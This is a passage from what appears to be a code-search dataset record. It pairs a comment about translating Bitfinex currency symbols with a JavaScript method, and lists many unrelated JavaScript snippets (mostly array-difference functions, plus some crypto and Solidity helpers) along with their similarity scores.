diff;\n}", "function arrayDiff(a, b) {\n var diff = [];\n for (var i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n return diff;\n}", "function arrayDiff(a, b) {\n var diff = [];\n for (var i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n return diff;\n}", "function arrayDiff(a, b) {\n const diff = [];\n\n for (let i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n\n return diff;\n}", "function arrayDiff(a, b) {\n const diff = [];\n\n for (let i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n\n return diff;\n}", "function arrayDiff(a, b) {\n const diff = [];\n\n for (let i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n\n return diff;\n}", "function arrayDiff(a, b) {\n const diff = [];\n\n for (let i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n\n return diff;\n}", "function arrayDiff(a, b) {\n const diff = [];\n\n for (let i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n\n return diff;\n}", "function arrayDiff(a, b) {\n const diff = [];\n\n for (let i = 0; i < b.length; i++) {\n if (a.indexOf(b[i]) < 0) diff.push(b[i]);\n }\n\n return diff;\n}", "function diffArray(arr1, arr2) {\n return arr1.filter(e => !arr2.includes(e)).concat(arr2.filter(e => !arr1.includes(e)));\n}", "function arrDiff(a,b) {\n var seen = [], diff = [];\n for ( var i = 0; i < b.length; i++)\n seen[b[i]] = true;\n for ( var i = 0; i < a.length; i++)\n if (!seen[a[i]])\n diff.push(a[i]);\n return diff;\n}", "function diffArray(arr1, arr2) {\n return arr1\n .filter(el => !arr2.includes(el))\n .concat(\n arr2.filter(el => !arr1.includes(el))\n )\n}", "function diffArray (arr1, arr2) {\n var newArr = []\n .concat(\n arr1.filter(\n el1 => arr2.every(\n el2 => el2 !== el1))) // if ANY element of arr2 is equal to el1, el1 doesn't pass the filter.\n .concat(\n arr2.filter(\n el2 => arr1.every(\n el1 => el1 !== el2))); // if ANY element of arr1 is equal to el2, el2 doesn't pass the filter.\n console.log(newArr);\n\n return newArr;\n // Same, same; but different.\n}", "function diffArray2(arr1, arr2) {\n return arr1\n .concat(arr2)\n .filter(\n item => !arr1.includes(item) || !arr2.includes(item)\n )\n}", "function arr_diff(a,b) {\n var seen = [],\n diff = [],\n i;\n for (i = 0; i < b.length; i++)\n seen[b[i]] = true;\n for (i = 0; i < a.length; i++)\n if (!seen[a[i]])\n diff.push(a[i]);\n return diff;\n}", "function difference(array1, array2) {\r\n return array1.filter(function(x) {\r\n return array2.indexOf(x) < 0;\r\n });\r\n}", "function arr_diff(a,b) {\n var seen = [],\n diff = [],\n i;\n for (i = 0; i < b.length; i++)\n seen[b[i]] = true;\n for (i = 0; i < a.length; i++)\n if (!seen[a[i]])\n diff.push(a[i]);\n return diff;\n}", "function arrayDiff(a, b) {\n let holder=[];\n \n for(let x=0;x<a.length;x++)\n {\n if(!b.includes(a[x]))\n {\n holder.push(a[x]);\n }\n }\n \n return holder;\n }", "function diffArray(arr1, arr2) {\n let newArr = [];\n newArr = arr1.filter(x => !arr2.includes(x)).concat(arr2.filter(x => !arr1.includes(x)));\n return newArr;\n}", "function array_diff (a, b) {\n // If input length is 0 for a or b, return 'a' array value\n if (a.length === 0 || b.length === 0) return a\n let result = []\n // Do looping to check the occurence of b elements in a array\n for (let i = 0; i < a.length; i++) {\n let isNotOccur = true\n for (let j = 0; j < b.length; j++) {\n if (a[i] === b[j]) {\n isNotOccur = false\n }\n }\n if (isNotOccur) result.push(a[i])\n }\n return result\n}", "function array_diff(a, b) {\n if (a.length === 0 || b.length === 0) {\n return a;\n } else {\n while (b.length > 0) {\n a = a.filter(num => num != b[0])\n b.shift();\n }\n return a\n }\n}", "function _arrDiff(arr1, arr2) {\n return arr1.filter(function(itemA) {\n var pass = true;\n arr2.forEach(function(itemB) {\n if (itemB === itemA) {\n pass = false;\n }\n });\n return pass;\n });\n}", "function array_diff(a, b) {\na.map(function(element){\nfor(var i =0; i <b.length; i++){\nif(element === b[i]){\na[a.indexOf(element)]=null;\nbreak;\n}\n}});\na = a.filter(function(n){ return n !=null });\n\nreturn a;\n}", "function diffArray(arr1, arr2) {\n let newArr = [];\n // Same, same; but different.\n arr1.forEach(element => {\n if (!arr2.includes(element)) {\n newArr.push(element);\n }\n });\n arr2.forEach(element => {\n if (!arr1.includes(element)) {\n newArr.push(element);\n }\n });\n return newArr;\n}", "function symmetricDifference(array1, array2) {\n const newArr = [];\n let i = 0;\n let j = 0;\n // while i is in array1 and j is in array2\n while(i < array1.length && j < array2.length){\n // if equal\n if (array1[i] == array2[j]){\n // increment both i and j\n i++;\n j++;\n } else if (array1[i] < array2[j]){ // else if array1 at i is less than array 2 at j \n // push array1 at i and increment i\n if (array1[i] != array1[i-1]) {\n newArr.push(array1[i]);\n }\n i++;\n } else {\n //push array2 at j and increment j \n if (array2[j] != array2[j-1]){\n newArr.push(array2[j]);\n }\n j++;\n }\n }\n while (i < array1.length){\n if (array1[i] != array1[i-1]) {\n newArr.push(array1[i]);\n }\n i++;\n }\n while(j < array2.length){\n if (array2[j] != array2[j-1]){\n newArr.push(array2[j]);\n }\n j++;\n }\n return newArr;\n}", "function arrayDiff(a, b) {\r\n //Go through each element in array 1\r\n //check if that element exists in array 2\r\n //if it exists in array 2, do nothing\r\n //if it doesn't exist in array 2 AND doesn't already exist in the answer, push to answer array\r\n //let's do this the old fashion way first, using loop even though i'm pretty sure this can be done with reduce\r\n let answer = []\r\n a.forEach((el)=>{\r\n if(!b.includes(el)){\r\n answer.push(el)\r\n }\r\n })\r\n return answer\r\n}", "function diffArray(arr1, arr2) {\n var newArr = arr1.filter(n => !arr2.includes(n));\n var newArr1 = arr2.filter(n => !arr1.includes(n));\n return newArr.concat(newArr1);\n\n // or in one line\n // var newArr = arr1.filter(n=> !arr2.includes(n)).concat(arr2.filter(n=> !arr1.includes(n)))\n}", "function diffArray(arr1, arr2) {\n var newArr = [];\n \n function onlyInFirst(first, second) {\n // Looping through an array to find elements that don't exist in another array\n for (var i=0;i<first.length;i++) {\n if (second.indexOf(first[i]) === -1) {\n // Pushing the elements unique to first to newArr\n newArr.push(first[i]);\n }\n }\n }\n onlyInFirst(arr1, arr2);\n onlyInFirst(arr2, arr1);\n \n return newArr;\n}", "function arr_diff(a,b){\r\n\tvar c=[];//clone of a\r\n\tvar d=[];//Anything a does not include\r\n\tvar e=[];//Anything a *does* include\r\n\tfor(var an of a){\r\n\t\tc.push(an);\r\n\t}\r\n\tfor(var bn of b){\r\n\t\tif(c.indexOf(bn)===-1)d.push(bn);\r\n\t\telse e.push(bn);\r\n\t}\r\n\tfor(var en of e){\r\n\t\tc.splice(c.indexOf(en),1);\r\n\t}\r\n\treturn [c,d];\r\n}", "function diffArray(arr1, arr2) {\n var newArr = [];\n \n function onlyInFirst(first, second) {\n // Looping through an array to find elements that don't exist in another array\n for (var i = 0; i < first.length; i++) {\n if (second.indexOf(first[i]) === -1) {\n // Pushing the elements unique to first to newArr\n newArr.push(first[i]);\n }\n }\n }\n \n onlyInFirst(arr1, arr2);\n onlyInFirst(arr2, arr1);\n \n return newArr;\n }", "function arraySubtract (a, b) {\n if (!Array.isArray(b)) b = [b];\n const res = [];\n for (let i = 0; i < a.length; i++) {\n if (!b.includes(a[i])) res.push(a[i]);\n }\n return res\n }", "function diffArray(arr1, arr2) {\n \n let newArr = [];\n\n newArr = arr1.filter(x => ! new Set(arr2).has(x));\n\n const additional = arr2.filter(x => ! new Set(arr1).has(x));\n \n // combine these items\n newArr.push(...additional);\n \n return newArr;\n \n}", "function diffArray(arr1, arr2) {\n var newArr = [];\n \n arr1.forEach(function(val){\n if(arr2.indexOf(val) === -1){\n newArr.push(val);\n }\n });\n \n arr2.forEach(function(val){\n if(arr1.indexOf(val) === -1){\n newArr.push(val);\n }\n });\n return newArr;\n}", "function difference1(arr1, arr2) {\n const spread1 = arr1.flat(Infinity);\n const spread2 = arr2.flat(Infinity);\n const result = [];\n for (let el of spread1) {\n if (!spread2.includes(el)) {\n result.push(el)\n }\n }\n for (let el of spread2) {\n if (!spread1.includes(el)) {\n result.push(el)\n }\n }\n return result\n}", "function diffArray(arr1, arr2) {\r\n\tvar newArr = [];\r\n\r\n\tif (arr1.length === 0 || arr2.legth === 0) {\r\n\t\treturn arr1.length !== 0 ? arr1 : arr2;\r\n\t}\r\n\r\n\tnewArr = (arr1.filter(function (value) {\r\n\t\t\treturn arr2.indexOf(value) < 0;\r\n\t\t}));\r\n\r\n\tnewArr = newArr.concat(arr2.filter(function (value) {\r\n\t\t\t\treturn arr1.indexOf(value) < 0;\r\n\t\t\t}));\r\n\r\n\treturn newArr;\r\n}", "static diffArray(arr1, arr2) {\n let unique1 = arr1.filter(item => arr2.indexOf(item) == -1);\n let unique2 = arr2.filter(item => arr1.indexOf(item) == -1);\n unique1.push(...unique2);\n return unique1;\n }", "function diffArray(arr1, arr2) {\n return arr1.filter(num => arr2.indexOf(num) == -1).concat(arr2.filter(num => arr1.indexOf(num) == -1));\n\n}", "function diffArray(arr1, arr2) {\n // Will serve as SD array\n var newArr = [];\n // compares two arrays - checks comparisonArray for every element in array \n function compareArrays(array, comparisonArray) {\n // will serve as Symmetric Difference array \n var notFoundArray = [];\n // Iterating through array\n for (var element of array) {\n // index of current element in comparisonArray\n var index = comparisonArray.indexOf(element);\n // If element was not found -> push onto notFoundArray\n if (index === -1) notFoundArray.push(element);\n }\n return notFoundArray;\n }\n // Finding elements present in arr1 but not arr2\n newArr = compareArrays(arr1, arr2);\n // Finding elements present in arr2 but not arr 1, adding that to SD array\n newArr = newArr.concat(compareArrays(arr2, arr1));\n\n return newArr;\n }", "function array_diff(arr1, arr2) {\n arr1 = arr1.filter(num => !arr2.includes(num)); // reassign cuz we need to mutate the array a\n return arr1;\n}", "function diffArray(arr1, arr2) {\n var newArr = [];\n for(let i = 0; i < arr1.length; i++){\n if(!arr2.includes(arr1[i])){\n newArr.push(arr1[i]);\n }\n }\n for(let x = 0; x < arr2.length; x++){\n if(!arr1.includes(arr2[x])){\n newArr.push(arr2[x]);\n }\n }\nreturn newArr;\n}", "function diffArray(arr1, arr2) {\r\n var newArr = [];\r\n for(var i = 0; i < arr1.length; i++){\r\n if(arr2.indexOf(arr1[i]) === -1){\r\n newArr.push(arr1[i]);\r\n }\r\n }\r\n for(var j = 0; j < arr2.length; j++){\r\n if(arr1.indexOf(arr2[j])=== -1){\r\n newArr.push(arr2[j]);\r\n }\r\n }\r\n return newArr;\r\n}", "function symmetricDifference(nums1, nums2) {\n //inefficient solution...\n var returnArray = [];\n for (let i = 0; i < nums1.length; i++) {\n if (!nums2.includes(nums1[i])) {\n if (!returnArray.includes(nums1[i])) {\n returnArray.push(nums1[i]);\n }\n }\n }\n for (let i = 0; i < nums1.length; i++) {\n if (!nums1.includes(nums2[i])) {\n if (!returnArray.includes(nums2[i])) {\n returnArray.push(nums2[i]);\n }\n }\n }\n return returnArray;\n}", "function arrDiff(a1, a2) {\n var a = [], diff = [];\n\n for (var i = 0; i < a1.length; i++) {\n a[a1[i]] = true;\n }\n\n for (var i = 0; i < a2.length; i++) {\n if (a[a2[i]]) {\n delete a[a2[i]];\n } else {\n a[a2[i]] = true;\n }\n }\n\n for (var k in a) {\n diff.push(k);\n }\n\n return diff;\n }", "function symdiff(arr1, arr2){\n // create an empety array to store the unique values\n var newArr = [];\n // iterate through each item in the first array\n for (var i = 0; i <arr1.length; i++){\n // if the first item in the first array is not in the second array or in the new array\n if(arr2.indexOf(arr1[i])<0 && newArr.indexOf(arr1[i])<0){\n // push the item into the new array\n newArr.push(arr1[i]);\n }\n }\n // iterate through the second array\n arr2.forEach(function(item){\n // if the items in the second array are not present in the first array or in the new array\n if(arr1.indexOf(item)<0 && newArr.indexOf(item)<0){\n // push the item into the new array\n newArr.push(item);\n }\n });\n return newArr;\n\n }", "function difference(arr, other) {\n var index = arrayToIndex(other);\n return arr.filter(function(el) {\n return !Object.prototype.hasOwnProperty.call(index, el);\n });\n }", "function diffArray(arr1, arr2) {\n var newArr = [];\n for (let i = 0; i < arr1.length; i++) {\n if (!arr2.includes(arr1[i])) {\n newArr.push(arr1[i]);\n }\n }\n for (let j = 0; j < arr2.length; j++) {\n if (!arr1.includes(arr2[j])) {\n newArr.push(arr2[j]);\n }\n }\nreturn newArr;\n}", "function diff(arr1, arr2) {\n var newArr = [];\n for (i=0; i < arr2.length; i++) {\n if (arr1.indexOf(arr2[i]) === -1) {\n newArr.push(arr2[i]);\n }\n }\n for (i=0; i < arr1.length; i++) {\n if (arr2.indexOf(arr1[i]) === -1) {\n newArr.push(arr1[i]);\n }\n }\n\n return newArr;\n}", "function diffArray(arr1, arr2) {\n var result = [];\n\n for (i = 0; i < arr1.length; i++) { //cycle through array1\n if (!arr2.includes(arr1[i])) { //if the element is NOT found in array2\n result.push(arr1[i]); //store the result\n }\n }\n\n for (i = 0; i < arr2.length; i++) { //cycle through array2\n if (!arr1.includes(arr2[i])) {\n result.push(arr2[i]);\n }\n } \n\n return result;\n}", "function diffArray(arr1, arr2) {\n\tlet combined = arr1.concat(arr2);\n\n\tlet difference = combined.filter(item => checkBoth(item));\n\n\tfunction checkBoth(item) {\n\t\tif (!arr1.includes(item) || !arr2.includes(item)) {\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn difference;\n}", "function arraySubtract(arr1, arr2) {\n return arr1.filter(function(elt) {\n return arr2.indexOf(elt) < 0;\n });\n}", "function arrayDiff(array) {\n var others = [];\n for (var _i = 1; _i < arguments.length; _i++) {\n others[_i - 1] = arguments[_i];\n }\n array = array || [];\n var tmp = [], rest = tmp.concat.apply(tmp, others);\n return array.filter(function (item) { return rest.indexOf(item) === -1; });\n }", "function diffArray(arr1, arr2) {\n var newArr = arr1.filter(item => arr2.indexOf(item) === -1);\n newArr = newArr.concat(arr2.filter(item => arr1.indexOf(item) === -1));\n return newArr;\n \n }", "function symDiff(arr1, arr2) { // create callback function for argsArray.reduce\n var uniqueVals = []; // create an empty array\n for (var i = 0; i < arr1.length; i++) { // loop through first array\n if (arr2.indexOf(arr1[i]) < 0 && uniqueVals.indexOf(arr1[i]) < 0) {\n uniqueVals.push(arr1[i]); // if the number in arr1 is not in arr2 or the uniqueVals array push it to uniqueVals\n }\n }\n\n arr2.forEach(function(item) { // loop through each number in arr2\n if (arr1.indexOf(item) < 0 && uniqueVals.indexOf(item) < 0) {\n uniqueVals.push(item); // if the number is not in arr1 nor uniqueVals push it to uniqueVals\n }\n });\n return uniqueVals;\n }", "function arrayDiff(array, ...arrays) {\n\n return arrayUnique(arrays.reduce(function (array1, array2) {\n\n var arr = arrayFrom(array2);\n\n return array1.filter(function (entry) {\n return arr.indexOf(entry) < 0;\n });\n\n }, arrayFrom(array)));\n\n }", "function diff(a, b){\n // iterate over elements in array a, return element only if it isn't in b\n return a.filter((el) => {\n return b.indexOf(el) < 0;\n });\n}", "function xorArrays(a, b) {\n var xor = [], i;\n for (i=0; i<a.length; i++) {\n if (b.indexOf(a[i]) == -1) xor.push(a[i]);\n }\n for (i=0; i<b.length; i++) {\n if (a.indexOf(b[i]) == -1) xor.push(b[i]);\n }\n return xor;\n }", "arrayDiff(newArray, oldArray) {\n var diffArray = [], difference = [];\n for (var i = 0; i < newArray.length; i++) {\n diffArray[newArray[i]] = true;\n }\n for (var j = 0; j < oldArray.length; j++) {\n if (diffArray[oldArray[j]]) {\n delete diffArray[oldArray[j]];\n } else {\n diffArray[oldArray[j]] = true;\n }\n }\n for (var key in diffArray) {\n difference.push(key);\n }\n return difference;\n }", "function arrayDiff(a, b) {\n \n const newArray = [];\n \n for (var i = 0; i < b.length; i++){\n a.forEach(number => number !== b[i] ? newArray.push(number) : null)\n }\n \n if (b.length == \"\") { newArray.push(...a)}\n \n return newArray\n }", "function diffArray(arr1, arr2) {\n\tvar newArr = [];\n\n\t//First append all elements\n\tnewArr = newArr.concat(arr1, arr2);\n\tconsole.log(newArr);\n\n\t//filter\n\tnewArr = newArr.filter(function(element){\n\t\treturn arr1.indexOf(element) < 0 || arr2.indexOf(element) < 0;\n\t})\n\n\n\tconsole.log(newArr);\n\t// Same, same; but different.\n\treturn newArr;\n}", "function array_diff(a, b) {\n//loops through the elements in b\n for (i = 0; i < b.length; i++){\n \t\tvar j = 0;\n //checks against the elements of a\n \t\twhile (j < a.length){\n //if it finds the element, remove it\n \t\t\tif (a[j] === b[i]){\n\t \t\t\ta.splice(j, 1);\n\t \t\t}\n //if it doesnt find the element, increase the index of j\n\t \t\telse {\n\t \t\t\tj++;\n\t \t\t}\n \t\t}\n \t}\n \treturn a;\n}", "function arrayRemove(arr1, arr2) {\n return arr1.filter(ele1 => {\n return ele1 != arr2.filter(ele2 => {\n return ele2 == ele1;\n });\n });\n}", "function diffArray(arr1, arr2) {\n \n var newArr = [];\n var arr1Len = arr1.length;\n var arr2Len = arr2.length;\n var temp;\n var index = 0;\n \n \n for(var i=0; i<arr1Len; i++) {\n temp = arr2.indexOf(arr1[i]);\n if(temp === -1) {\n newArr[index] = arr1[i];\n index++;\n }\n }\n \n \n for(i=0; i<arr2Len; i++) {\n temp = arr1.indexOf(arr2[i]);\n if(temp === -1) {\n newArr[index] = arr2[i];\n index++;\n }\n }\n \n return newArr;\n}", "function array_diff(a, b) {\n var arrA = a.slice()\n var arrB = b.slice()\n var res = []\n for (var i = 0; i < arrA.length; i++) {\n var found = false\n for (var j = 0; j < arrB.length; j++) {\n if (arrA[i] == arrB[i]) {\n found = true\n break\n }\n }\n if (found == false) {\n res.push(arrA[i])\n }\n }\n console.log(res)\n return res\n}", "function difference(arr) {\n\t var arrs = slice(arguments, 1),\n\t result = filter(unique(arr), function(needle){\n\t return !some(arrs, function(haystack){\n\t return contains(haystack, needle);\n\t });\n\t });\n\t return result;\n\t }", "function difference(arr1, arr2) {\n var diffArr=[];\n for (var i of arr1){\n if (arr2.indexOf(i)===-1) diffArr.push(i);\n }\n return diffArr;\n}", "function differentElements(arr1, arr2) {\n let set1 = [...new Set(arr1)];\n let set2 = [...new Set(arr2)];\n return [...set1.filter(o => !set2.includes(o)), ...set2.filter(o => !set1.includes(o))]\n}", "function diffArray(arr1, arr2) {\n var newArr = [];\n var catArr = arr1.concat(arr2).sort();\n for (var i = 0; i < catArr.length; i++) {\n if (arr1.indexOf(catArr[i]) == -1) {\n newArr.push(catArr[i]);\n }\n }\n for (var j = 0; j < catArr.length; j++) {\n if (arr2.indexOf(catArr[j]) == -1) {\n newArr.push(catArr[j]);\n }\n }\n return newArr;\n}", "function diffArray(arr1, arr2) {\n var mergedArray = arr1.concat(arr2);\n \n function check(item) {\n if (arr1.indexOf(item) === -1 || arr2.indexOf(item) === -1) {\n return item;\n }\n }\n\n return mergedArray.filter(check);\n}", "difference(arr1, arr2) {\n let arr3 = [];\n for (let i = 0; i < arr1.length; i++) {\n let isDifferent = true;\n for (let j = 0; j < arr2.length; j++) {\n if (arr1[i] === arr2[j]) {\n isDifferent = false;\n }\n }\n if (isDifferent) {\n arr3.push(arr1[i]);\n }\n }\n return arr3;\n }", "function array_diff(a, b) {\n // filter reates a new array with all elements that pass the test implemented by the provided callback function.\n // the callback is invoked w the 1. value of element 2. index of element 3. array object being traversed \n // x is the element in array a \n return a.filter(function(x) {\n // returns false for elements that are in a as well as b \n // thus, filter makes sure those are not included in the final array\n return !(b.indexOf(x) > -1);\n });\n}", "function arrayDiff(a, b) {\n newArray = a\n b.map(num => {\n for(i = 0; i < a.length; i++) {\n // console.log(i, a[i], b.find(num => num))\n if (a[i] === num) {\n newArray.splice(i, 1);\n i--;\n }\n }\n })\n return newArray\n}", "function diffArray(arr1, arr2) {\n let diffArr = [];\n \n arr1.forEach( x =>{\n if(arr2.includes(x) !== true){\n diffArr.push(x);\n }\n })\n \n arr2.forEach( x =>{\n if(arr1.includes(x) !== true){\n diffArr.push(x);\n }\n })\n \n return diffArr;\n }", "function difference(arr) {\n var arrs = slice(arguments, 1),\n result = filter(unique(arr), function(needle){\n return !some(arrs, function(haystack){\n return contains(haystack, needle);\n });\n });\n return result;\n }", "function diff(arr1, arr2) {\n newArray = arr1.concat(arr2)\n \n function track(i) {\n if (arr1.indexOf(i) === -1 || arr2.indexOf(i) === -1) {\n return i;\n }\n } \n \n return newArray.filter(track)\n}", "function difference(first, second) {\n var output = [];\n for (var i = 0; i < first.length; i++) {\n var isDifferentFromSecond = true;\n for (var j = 0; j < second.length; j++) {\n if (first[i] === second[j]) {\n isDifferentFromSecond = false;\n break;\n }\n }\n if (isDifferentFromSecond === true) {\n output.push(first[i]);\n }\n }\n for (var k = 0; k < second.length; k++) {\n var isDifferentFromFirst = true;\n for (var l = 0; l < first.length; l++) {\n if (second[k] === first[l]) {\n isDifferentFromFirst = false;\n break;\n }\n }\n if (isDifferentFromFirst === true) {\n output.push(second[k]);\n }\n }\n return output;\n}", "function difference(arr1, arr2) {\n \n \n \n}", "function diff(arr1, arr2) {\n var new_array = [];\n //loop through arr1 and see if values exist in arr2\n for (var i = 0; i < arr1.length; i++) {\n //Check to see if values in arr1 are not in arr2, then push values to new_array\n if (arr2.indexOf(arr1[i]) == -1) {\n new_array.push(arr1[i]);\n }\n }\n for (var i = 0; i < arr2.length; i++) {\n if (arr1.indexOf(arr2[i]) == -1) {\n new_array.push(arr2[i]);\n }\n }\n return new_array;\n}" ]
[ "0.82646435", "0.80908996", "0.8090203", "0.7819471", "0.78156483", "0.7781504", "0.77788913", "0.7776408", "0.77708393", "0.7767508", "0.77314544", "0.7664472", "0.7654387", "0.76509273", "0.76229256", "0.76229256", "0.76229256", "0.76229256", "0.76229256", "0.76229256", "0.76229256", "0.7622462", "0.76141125", "0.76125365", "0.76125365", "0.76125365", "0.7609962", "0.7609962", "0.7609962", "0.7609962", "0.7609962", "0.7609962", "0.7573998", "0.75703245", "0.7563917", "0.75075054", "0.7506045", "0.7451556", "0.7434663", "0.74199617", "0.73978645", "0.7360159", "0.7356575", "0.73357713", "0.7318935", "0.7306319", "0.7303836", "0.7302595", "0.7282611", "0.7280604", "0.72805655", "0.7277167", "0.72756726", "0.7259953", "0.72584903", "0.72584504", "0.72554255", "0.72343165", "0.72235113", "0.72233087", "0.72155124", "0.7203559", "0.71859014", "0.7181502", "0.7175329", "0.71689576", "0.7160011", "0.7158157", "0.71562475", "0.71529317", "0.712482", "0.71196353", "0.7117436", "0.7106763", "0.70877504", "0.7074642", "0.7058081", "0.70565844", "0.7030104", "0.70035046", "0.6995832", "0.69844556", "0.69764316", "0.6970517", "0.6958699", "0.6956257", "0.6949413", "0.69480866", "0.6944633", "0.6943628", "0.69292295", "0.6918514", "0.69013506", "0.69011307", "0.689449", "0.6894148", "0.6883811", "0.6875569", "0.68641806", "0.6861359" ]
0.70961183
74
This function corrects bitfinex internal representation of cryptos to the general representations
async getCommonSpotSymbolMap() { let map = new Map() let symbols = await this.getSpotTradingPairs() let currencyList = await this.getCurrencyList() let translationMap = await this.getTranslationMap() for(var symbol of symbols) { let currencyPair = this.parseCurrency(symbol.substring(1), currencyList) let translatedPair = this.translatePair(currencyPair, translationMap) let commonSymbol = translatedPair[0] + translatedPair[1] //console.log(`commonSymbol=${commonSymbol}`) map.set(commonSymbol.toLowerCase(), symbol) } return map }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function xorrelate()\n{\n // turn nchc to hexstring\n // pending to bytes20\n // var t = stringToHex(\"nchcnchcnchcnchcnchc\");\t\t\t//config string\n // console.log(t);\n var sha3t = keccak256(\"nchc\");\n //console.log(sha3t);\n var sha3t20 = sha3t.slice(0,40);\n sha3t20 = \"0x\"+sha3t20;\n // console.log(sha3t20);\n \n var sha3t_v2 = keccak256(\"nchc1\");\n //console.log(sha3t);\n var sha3t20_v2 = sha3t_v2.slice(0,40);\n sha3t20_v2 = \"0x\"+sha3t20_v2;\n //console.log(sha3t20_v2);\n ///turn hexstring to uint\n //var r = parseInt(t,16);\n //console.log(r);\n\n // turn int back to hexstring\n //var q = r.toString(16);\n //console.log(q);\n\n // contract addresss turn address into bignumber\n var s = h2d(\"0x692a70d2e424a56d2c6c27aa97d1a86395877b3a\");\t\t//config contract address\n // test relate address\n var u = h2d(\"0xa2f08385ff6e08a215979367885a09dcd7d0d898\");\t\t//config relate address\n \n var u2 =h2d(\"0x4df85abd32fc76a5625386b551a94f6c57e0b075\"); //config relate address two\n \n //sha3 \n var r = h2d(sha3t20);\n var r2=h2d(sha3t20_v2);\n // console.log(r);\n // console.log(s);\n // console.log(u);\n\n var big1 = bignum(s,base=10);\n // console.log(big1);\n\n var big2 = bignum(u,base=10);\n var big2_v2 = bignum(u2,base=10);\n //console.log(big2);\n\n //nchc\n var big3 = bignum(r,base=10);\n var big3_v2 = bignum(r2,base=10);\n //console.log(big3);\n\n var result = big1.xor(big2);\n result = result.xor(big3);\n //console.log(result);\n\n var ans = result.toString(base=16);\n ans = \"0x\"+ans;\n console.log(ans);\n\n //second relate\n var result2 = big1.xor(big2_v2);\n result2 = result2.xor(big3_v2);\n //console.log(result);\n\n var ans2 = result2.toString(base=16);\n ans2 = \"0x\"+ans2;\n console.log(ans2);\n}", "function solutionNullify(bits) {\r\n if (bits) {\r\n var alterResult = '';\r\n var bitsLen = bits.length;\r\n for (var i = 0; i < bitsLen; i++) {\r\n var c = bits.charAt(i);\r\n if (c) {\r\n if (c === '1') {\r\n alterResult += c+'00';\r\n } else {\r\n alterResult += c;\r\n }\r\n }\r\n }\r\n return alterResult;\r\n }\r\n}", "function keyInfoForPrinting(input) {\n switch (input.type.typeClass) {\n case \"uint\":\n return {\n type: \"uint\",\n value: input.value.asBN.toString()\n };\n case \"int\":\n return {\n type: \"int\",\n value: input.value.asBN.toString()\n };\n case \"fixed\":\n return {\n type: `fixed256x${input.type.places}`,\n value: input.value.asBig.toString()\n };\n case \"ufixed\":\n return {\n type: `ufixed256x${input.type.places}`,\n value: input.value.asBig.toString()\n };\n case \"bool\":\n //this is the case that won't work as valid input to soliditySha3 :)\n return {\n type: \"uint\",\n value: input.value.asBoolean.toString()\n };\n case \"bytes\":\n switch (input.type.kind) {\n case \"static\":\n return {\n type: \"bytes32\",\n value: input.value.asHex\n };\n case \"dynamic\":\n return {\n type: \"bytes\",\n value: input.value.asHex\n };\n }\n case \"address\":\n return {\n type: \"address\",\n value: input.value.asAddress\n };\n case \"string\":\n let coercedInput = (input);\n switch (coercedInput.value.kind) {\n case \"valid\":\n return {\n type: \"string\",\n value: coercedInput.value.asString\n };\n case \"malformed\":\n return {\n type: \"bytes\",\n value: coercedInput.value.asHex\n };\n }\n //fixed and ufixed are skipped for now\n }\n}", "function normalizeSolidityValues(v) {\n if (Buffer.isBuffer(v)) {\n return `0x${v.toString('hex')}`;\n } if (typeof v.map === 'function') {\n // Recurse on arrays.\n return v.map(normalizeSolidityValues);\n } if (isAddress(v)) {\n return normalizeAddress(v);\n } if (web3Utils.isBN(v) || typeof v === 'number') {\n return v.toString();\n }\n return v;\n}", "toWIF() {\n throw new TypeError(\"Catapult BIP32 keys cannot be converted to WIF. Please use the toHex() method.\");\n }", "_precompute() {\n const encTable = this._tables[0];\n const decTable = this._tables[1];\n const sbox = encTable[4];\n const sboxInv = decTable[4];\n const d = [];\n const th = [];\n let xInv, x2, x4, x8;\n for (let i = 0; i < 256; i++) {\n th[(d[i] = i << 1 ^ (i >> 7) * 283) ^ i] = i;\n }\n for (let x = xInv = 0; !sbox[x]; x ^= x2 || 1, xInv = th[xInv] || 1) {\n let s = xInv ^ xInv << 1 ^ xInv << 2 ^ xInv << 3 ^ xInv << 4;\n s = s >> 8 ^ s & 255 ^ 99;\n sbox[x] = s;\n sboxInv[s] = x;\n x8 = d[x4 = d[x2 = d[x]]];\n let tDec = x8 * 16843009 ^ x4 * 65537 ^ x2 * 257 ^ x * 16843008;\n let tEnc = d[s] * 257 ^ s * 16843008;\n for (let i = 0; i < 4; i++) {\n encTable[i][x] = tEnc = tEnc << 24 ^ tEnc >>> 8;\n decTable[i][s] = tDec = tDec << 24 ^ tDec >>> 8;\n }\n }\n for (let i = 0; i < 5; i++) {\n encTable[i] = encTable[i].slice(0);\n decTable[i] = decTable[i].slice(0);\n }\n }", "function CharBase64To2DTMF(car)\r\n{\r\n let aReturn = '';\r\n try\r\n {\r\n switch(car)\r\n { \r\n case 'A': aReturn='00'; break;\r\n case 'B': aReturn='01'; break;\r\n case 'C': aReturn='02'; break;\r\n case 'D': aReturn='03'; break;\r\n case 'E': aReturn='04'; break;\r\n case 'F': aReturn='05'; break;\r\n case 'G': aReturn='06'; break;\r\n case 'H': aReturn='07'; break;\r\n case 'I': aReturn='08'; break;\r\n case 'J': aReturn='09'; break;\r\n case 'K': aReturn='10'; break;\r\n case 'L': aReturn='11'; break;\r\n case 'M': aReturn='12'; break;\r\n case 'N': aReturn='13'; break;\r\n case 'O': aReturn='14'; break;\r\n case 'P': aReturn='15'; break;\r\n case 'Q': aReturn='16'; break;\r\n case 'R': aReturn='17'; break;\r\n case 'S': aReturn='18'; break;\r\n case 'T': aReturn='19'; break;\r\n case 'U': aReturn='20'; break;\r\n case 'V': aReturn='21'; break;\r\n case 'W': aReturn='22'; break;\r\n case 'X': aReturn='23'; break;\r\n case 'Y': aReturn='24'; break;\r\n case 'Z': aReturn='25'; break;\r\n case 'a': aReturn='26'; break;\r\n case 'b': aReturn='27'; break;\r\n case 'c': aReturn='28'; break;\r\n case 'd': aReturn='29'; break;\r\n case 'e': aReturn='30'; break;\r\n case 